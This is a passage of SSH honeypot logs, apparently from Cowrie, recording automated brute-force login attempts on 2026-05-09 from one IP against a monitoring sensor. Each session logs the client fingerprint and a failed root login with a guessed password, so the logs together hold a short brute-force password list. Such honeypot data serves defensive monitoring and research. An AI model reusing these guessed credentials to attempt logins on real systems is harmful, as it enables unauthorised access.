98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:14.223151Z","src_ip":"60.165.124.241","session":"f6d88418cad8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":" ","message":"login attempt [root/ ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:14.952082Z","src_ip":"60.165.124.241","session":"f6d88418cad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:16.191666Z","src_ip":"60.165.124.241","session":"f6d88418cad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39844,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cbd2bbf5e94","protocol":"ssh","message":"New connection: 60.165.124.241:39844 (10.17.0.5:22) [session: 8cbd2bbf5e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:16.427492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:16.432770Z","src_ip":"60.165.124.241","session":"8cbd2bbf5e94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:16.673997Z","src_ip":"60.165.124.241","session":"8cbd2bbf5e94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112211.","message":"login attempt [root/Aa112211.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:17.394471Z","src_ip":"60.165.124.241","session":"8cbd2bbf5e94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:18.635550Z","src_ip":"60.165.124.241","session":"8cbd2bbf5e94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42942,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbd94277dfb7","protocol":"ssh","message":"New connection: 60.165.124.241:42942 (10.17.0.5:22) [session: cbd94277dfb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:18.867731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:18.877316Z","src_ip":"60.165.124.241","session":"cbd94277dfb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:19.106792Z","src_ip":"60.165.124.241","session":"cbd94277dfb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminP@ssw0rd","message":"login attempt [root/adminP@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:20.066360Z","src_ip":"60.165.124.241","session":"cbd94277dfb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:21.306269Z","src_ip":"60.165.124.241","session":"cbd94277dfb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46320,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f69a96aa2a3","protocol":"ssh","message":"New connection: 60.165.124.241:46320 (10.17.0.5:22) [session: 7f69a96aa2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:21.539792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:21.545348Z","src_ip":"60.165.124.241","session":"7f69a96aa2a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:21.788675Z","src_ip":"60.165.124.241","session":"7f69a96aa2a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@9000","message":"login attempt [root/Admin@9000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:22.514361Z","src_ip":"60.165.124.241","session":"7f69a96aa2a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:23.758202Z","src_ip":"60.165.124.241","session":"7f69a96aa2a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49514,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cb11366923b","protocol":"ssh","message":"New connection: 60.165.124.241:49514 (10.17.0.5:22) [session: 5cb11366923b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:24.008859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:24.013910Z","src_ip":"60.165.124.241","session":"5cb11366923b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:24.259360Z","src_ip":"60.165.124.241","session":"5cb11366923b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q1w2e3r4!","message":"login attempt [root/Q1w2e3r4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:25.004709Z","src_ip":"60.165.124.241","session":"5cb11366923b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:26.256206Z","src_ip":"60.165.124.241","session":"5cb11366923b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52836,"dst_ip":"10.17.0.5","dst_port":22,"session":"31820ce564ef","protocol":"ssh","message":"New connection: 60.165.124.241:52836 (10.17.0.5:22) [session: 31820ce564ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:26.486212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:26.491287Z","src_ip":"60.165.124.241","session":"31820ce564ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:26.746470Z","src_ip":"60.165.124.241","session":"31820ce564ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"freetz","message":"login attempt [root/freetz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:27.490718Z","src_ip":"60.165.124.241","session":"31820ce564ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:28.752049Z","src_ip":"60.165.124.241","session":"31820ce564ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55800,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba30362fd456","protocol":"ssh","message":"New connection: 60.165.124.241:55800 (10.17.0.5:22) [session: ba30362fd456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:29.003710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:29.010810Z","src_ip":"60.165.124.241","session":"ba30362fd456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:29.265741Z","src_ip":"60.165.124.241","session":"ba30362fd456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"FDKJ38/dsh2@48djfn$#@sdjak@","message":"login attempt [root/FDKJ38/dsh2@48djfn$#@sdjak@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:30.037338Z","src_ip":"60.165.124.241","session":"ba30362fd456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:31.301523Z","src_ip":"60.165.124.241","session":"ba30362fd456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59232,"dst_ip":"10.17.0.5","dst_port":22,"session":"805a431e4450","protocol":"ssh","message":"New connection: 60.165.124.241:59232 (10.17.0.5:22) [session: 805a431e4450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:32.556134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:32.566040Z","src_ip":"60.165.124.241","session":"805a431e4450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:32.822320Z","src_ip":"60.165.124.241","session":"805a431e4450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lxy0327!","message":"login attempt [root/lxy0327!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:36.507426Z","src_ip":"60.165.124.241","session":"805a431e4450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:38.397173Z","src_ip":"60.165.124.241","session":"805a431e4450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40024,"dst_ip":"10.17.0.5","dst_port":22,"session":"c645cca1cb4a","protocol":"ssh","message":"New connection: 60.165.124.241:40024 (10.17.0.5:22) [session: c645cca1cb4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:38.645597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:38.650682Z","src_ip":"60.165.124.241","session":"c645cca1cb4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:38.905039Z","src_ip":"60.165.124.241","session":"c645cca1cb4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bdkj001","message":"login attempt [root/bdkj001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:42.718554Z","src_ip":"60.165.124.241","session":"c645cca1cb4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:44.603538Z","src_ip":"60.165.124.241","session":"c645cca1cb4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47532,"dst_ip":"10.17.0.5","dst_port":22,"session":"46d7dbc11344","protocol":"ssh","message":"New connection: 60.165.124.241:47532 (10.17.0.5:22) [session: 46d7dbc11344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:44.852429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:53:44.861744Z","src_ip":"60.165.124.241","session":"46d7dbc11344","protocol":"ssh"}
